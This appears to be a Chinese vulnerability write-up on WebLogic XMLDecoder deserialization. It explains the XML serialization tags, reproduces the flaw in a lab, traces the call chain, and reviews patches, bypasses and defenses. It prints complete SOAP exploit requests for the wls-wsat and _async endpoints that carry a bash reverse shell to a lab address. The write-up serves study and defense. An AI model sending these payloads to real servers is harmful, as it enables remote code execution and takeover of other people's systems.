WebLogic-XMLDecoder反序列化漏洞分析
字数 1818 2025-08-20 18:18:24
WebLogic XMLDecoder反序列化漏洞深入分析与防御指南
一、XMLEncoder与XMLDecoder基础
1.1 XML序列化机制概述
XMLEncoder/XMLDecoder是JDK1.4引入的XML格式序列化持久性方案:
- XMLEncoder:生成表示JavaBeans组件的XML文档
- XMLDecoder:读取XMLEncoder创建的XML文档获取JavaBeans
1.2 基本使用示例
XMLEncoder示例代码:
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
e.writeObject(new JButton("Hello,xml"));
e.close();
生成的XML文档:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>Hello,xml</string>
</object>
</java>
XMLDecoder示例代码:
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();
二、XML标签与属性详解
2.1 核心标签解析
-
string标签:
- 表示字符串值
- 示例:
<string>Hello,xml</string>
-
object标签:
- 表示对象实例
class属性指定具体类method属性指定方法名(如构造函数用"new")- 示例:
<object class="javax.swing.JButton" method="new"> <string>Hello,xml</string> </object>
-
void标签:
- 表示函数调用或赋值操作
method属性指定方法名- 示例:
<object class="javax.swing.JButton"> <void method="setText"> <string>Hello,xml</string> </void> </object>
-
array标签:
- 表示数组
class属性指定数组类型length属性指定长度- 内部
void标签的index属性指定索引 - 示例:
<array class="java.lang.String" length="3"> <void index="1"> <string>Hello,xml</string> </void> </array>
三、XMLDecoder反序列化漏洞原理
3.1 漏洞利用原理
通过构造恶意XML文档,XMLDecoder在反序列化时会执行其中的Java代码,导致任意代码执行。
3.2 漏洞利用示例
恶意XML文档(poc.xml):
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>open -a Calculator</string></void>
</array>
<void method="start"/></void>
</java>
等效Java代码:
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();
四、WebLogic漏洞复现与分析
4.1 漏洞复现步骤
-
环境搭建:
version: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" - "8453:8453" -
利用EXP:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.50.145:7001 Content-type: text/xml Content-Length: 639 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>bash -i >& /dev/tcp/192.168.50.145/4444 0>&1</string></void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
4.2 漏洞调用链分析
完整调用栈:
weblogic.wsee.workarea.WorkContextXmlInputAdapter.readUTFweblogic.workarea.spi.WorkContextEntryImpl.readEntryweblogic.workarea.WorkContextLocalMap.receiveRequestweblogic.workarea.WorkContextMapImpl.receiveRequestweblogic.wsee.jaxws.workcontext.WorkContextServerTube.receiveweblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOldweblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
关键点:XMLDecoder.readObject()最终被调用执行恶意XML。
五、漏洞补丁与绕过分析
5.1 CVE-2017-3506补丁
补丁在WorkContextXmlInputAdapter中添加了validate验证:
private void validate(InputStream is) {
// ...
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
绕过方法:将object标签替换为void标签。
5.2 CVE-2017-10271补丁
加强的黑名单验证:
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else if(qName.equalsIgnoreCase("void")) {
// 只允许index属性
}
5.3 CVE-2019-2725绕过
利用_async组件的反序列化功能,EXP示例:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/192.168.50.145/4444 0>&1</string></void>
</array>
<void method="start"/> </void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
5.4 其他绕过方式
- 使用
class标签构造类(受限于只能调用构造函数) - 利用二次反序列化链:
- FileSystemXmlApplicationContext-RCE
- UnitOfWorkChangeSet-RCE
- ysoserial-jdk7u21-RCE
- JtaTransactionManager-JNDI注入
六、防御建议
- 及时更新WebLogic补丁
- 禁用不必要的组件(如wls-wsat)
- 在网络边界限制访问WebLogic管理端口
- 实施严格的输入验证
- 使用安全产品监控异常行为
七、影响版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.0
- WebLogic 12.2.1.1
- WebLogic 12.2.1.2